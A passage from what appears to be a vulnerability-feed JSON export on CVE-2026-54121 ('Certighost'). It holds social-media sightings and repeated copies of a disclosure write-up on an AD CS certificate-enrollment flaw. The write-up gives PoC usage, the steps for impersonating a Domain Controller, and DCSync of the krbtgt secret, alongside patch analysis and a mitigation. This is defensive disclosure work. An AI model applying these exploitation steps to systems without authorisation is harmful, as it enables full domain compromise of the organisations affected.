vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-26T03:19:16.772606Z"}, {"uuid": "5fd9d735-34c5-4ce1-b9d6-8cc08a722c10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mrnjfgi5f2v2", "content": "CertiGhost fork - Patched SAN handling + MAQ-safe account reuse https://github.com/marcgoam/CVE-2026-54121-CertiGhost", "creation_timestamp": "2026-07-27T18:24:58.610038Z"}, {"uuid": "6cd6bd97-51c5-4f35-abd3-fc3b1fe6525c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnuymxwke2f", "content": "CVE-2026-54121: Certighost PoC Exploit Shows Signs of Weak Evidence #CVE2026 #Cybersecurity #InfoSec", "creation_timestamp": "2026-07-27T21:52:32.150664Z"}, {"uuid": "7cf7493e-b323-4602-985a-f5e146810040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mro6h47med2x", "content": "Microsoft released security updates on July 14, 2026, to address CVE-2026-54121 (Certighost), an elevation-of-privilege vulnerability in Active Directory Certificate Services (AD CS).", "creation_timestamp": "2026-07-28T00:41:41.234830Z"}, {"uuid": "c0eeeae3-177e-4acd-b819-61d011ae76d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/billingsley.bsky.social/post/3mrjwr5u6te2w", "content": "COGNOSCERE Tech Brief \u2014 2026-07-26\n\nCertighost, CVE-2026-54121, has a working proof-of-concept exploit live on the i\n\nhttps://www.cognoscerellc.com/news", "creation_timestamp": "2026-07-26T08:13:29.937698Z"}, {"uuid": "df9c6640-82b0-4e76-b6af-ae3c69acc930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/WtDy60Zfc2LfC2Hj4ugHn-G7HJuEO7_YRvKedrgqxmiutu2Q", "content": "", "creation_timestamp": "2026-07-27T00:00:08.034313Z"}, {"uuid": "4f600bd6-791c-43ad-8ff9-c0babdc8cb4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/RakhithJK/07bd08fb6ded464ef8eed685c5f0b90f", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-27T06:29:07.133427Z"}, {"uuid": "fd581a0b-ddd5-40f2-8ada-b94a4848f674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/Ridter/1109329dc8bc11fbb49a85593eec6344", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the 